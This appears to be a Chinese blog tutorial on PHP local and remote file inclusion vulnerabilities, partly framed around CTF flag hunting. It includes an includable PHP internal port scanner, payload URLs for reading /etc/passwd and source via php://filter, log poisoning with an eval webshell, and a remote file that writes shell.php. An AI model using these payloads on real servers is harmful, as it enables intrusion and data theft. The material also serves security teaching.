1文件包含漏洞简介

include  require  include_once   require_once

RFI综述

RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。

一下是一个扫描端口PHP,可以包含它来探测内网端口

<?php
//echo "<script>alert('SCAN');</script>";
if(isset($_REQUEST['ip'])){
$ports = array(80,8080,21,443,3306,22,1,2,1433);
$result = array();
foreach($ports as $port){
if($pf = @fsockopen($_REQUEST['ip'], $port, $err, $err_string, 2)){
$result[$port] = true;
fclose($pf);
}else{
$result[$port] = false;
}
}
foreach($result as $port=>$val){
$serv = @getservbyport($port, 'TCP');
echo "scan port " . $port . " (" . $serv . "):";
if($val){
//echo 'open'.'<br>';
echo "<span style=\"color:green\">open</span><br>";
}else{
//echo 'close'.'<br>';
echo "<span style=\"color:red\">close</span><br>";
}
}
}
?>

扫描端口

1.本地文件包含漏洞

2.远程文件包含漏洞

条件:php.ini文件中的allow_url_include=On

http://test.com/?page=http://www.baidu.com/index.html

3.常见的敏感文件

1. 根目录下存在flag文件
C://flag.txt
2. passwd文件存在flag
/etc/passwd
3. Web根目录下存在 flag文件
4. 当前页面下存在flag文件
5. apache/php/mysql配置文件下存在flag文件
利用phpinfo()函数来获取路径

 3重要的利用手法

(1)包含上传的getshell

上传图片马,利用文件包含我们的图片马,菜刀连接

(2)包含日志文件getshell

burpsuite里面访问
http://127.0.0.1/<?php eval($_POST[1]);?>
为了避免在web中进行了url编码,进行报错,把爆错信息写进日志
http://test.com/?page=../apache/logs/error.log
成功

(3)远程文件包含getshell

(4)远程文件包含写shell

包含hackxf.cn下面的get_shell.txt文件,内容

<?php
//fputs()
//fopen(filename, mode) fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>'); ?>

访问当前目录下已经生成的shell.php文件

(5)PHP封装协议读取文件

 php://filter/read=convert.base64-encode/resource=index.php

 http://test.com/?page=php://filter/read=convert.base64-encode/resource=index.php

(6)PHP封装协议命令执行

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

(7)file封装协议读取文件

http://test.com/?page=file://c:/flag.txt

文件包含漏洞(RFI)的更多相关文章

  1. PHP文件包含漏洞小结

    参考链接:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 四大漏洞函数 PHP文件包含漏洞主要由于四个函数引起的: include() include_ ...

  2. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  3. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  4. PHP文件包含漏洞攻防实战

    本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. PHP是一种非常流行的W ...

  5. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

  6. 文件包含漏洞File Inclusion

    文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...

  7. 利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制

    来源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.h ...

  8. 2020/1/31 PHP代码审计之文件包含漏洞

    0x00 文件包含简介 文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校检,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 ...

  9. PHP:文件包含漏洞

    简单记录一些文件包含漏洞的常用方法 产生原因: 文件包含漏洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 ...

随机推荐

  1. JDBC(2)Statement

    Statement: 用于执行SQL语句的对象 通过Connection的createStatement()方法得到一个Statement对象 只有在获得了Statement对象之后才能执行SQL对象 ...

  2. CMD命令不完全版

    cmd命令: 感谢GSC大佬提供命令 clearmgr : 清理垃圾 taskmgr : 任务管理器 eventvwr : 事件管理器 shutdown -s -t 10 : 关机 shutdown ...

  3. Asp.net 中 OnClientClick 与 OnClick 的区别

    OnClientClick 是客户端事件处理方法,一般采用JavaScript来进行处理,也就是直接在IE端运行,一点击就运行. OnClick 是服务器端事件处理方法,在服务器端也就是IIS中运行, ...

  4. python 输入一个整数,判断其是否既是3的倍数,又是5的倍数

    v = int(input('请输入一个整数:')) if v % 3 == 0 and v % 5 ==0: print(v,'即是3的倍数又是5的倍数') else: print('不是3或5的倍 ...

  5. Jquery实现简单图片轮播

    html代码: <div class="show"> <div class="left"> <div class="sh ...

  6. module.exports与exports的联系与区别

    首先说明他们是啥? 在CommonJS规范中,exports和module.exports这两个对象是把某一模块化文件中的属性和方法暴露给外部模块的接口(说法可能不准确),外部模块通过require引 ...

  7. #leetcode刷题之路14-最长公共前缀

    编写一个函数来查找字符串数组中的最长公共前缀. 如果不存在公共前缀,返回空字符串 "". 示例 1: 输入: ["flower","flow" ...

  8. LogViewer超大文本浏览工具

    官方下载 LogViewer 是一款简单好用的log日志文件查看工具.您想要查看log日志吗?那么不妨来看看这款LogViewer .该款工具可以在短短数秒内打开上G的LOG文件,支持高亮某行文字(例 ...

  9. 关于css属性calc对于ie的态度

    做的一个项目,布局的时候用到了max-height:calc(100% - 15px);在谷歌.火狐浏览器,进行下拉的时候,它的父元素会出现垂直滚动条,但是在IE就不可以. 然后在网上找了找,说在它的 ...

  10. Python入门 —— 2048实战(字符界面和图形界面)

    2048 game (共4种实现方法) 目录: .. 图形界面 ... pygame 和 numpy .. 字符界面 ... 第一种 ... curses ... wxpython ... 第二种 . ...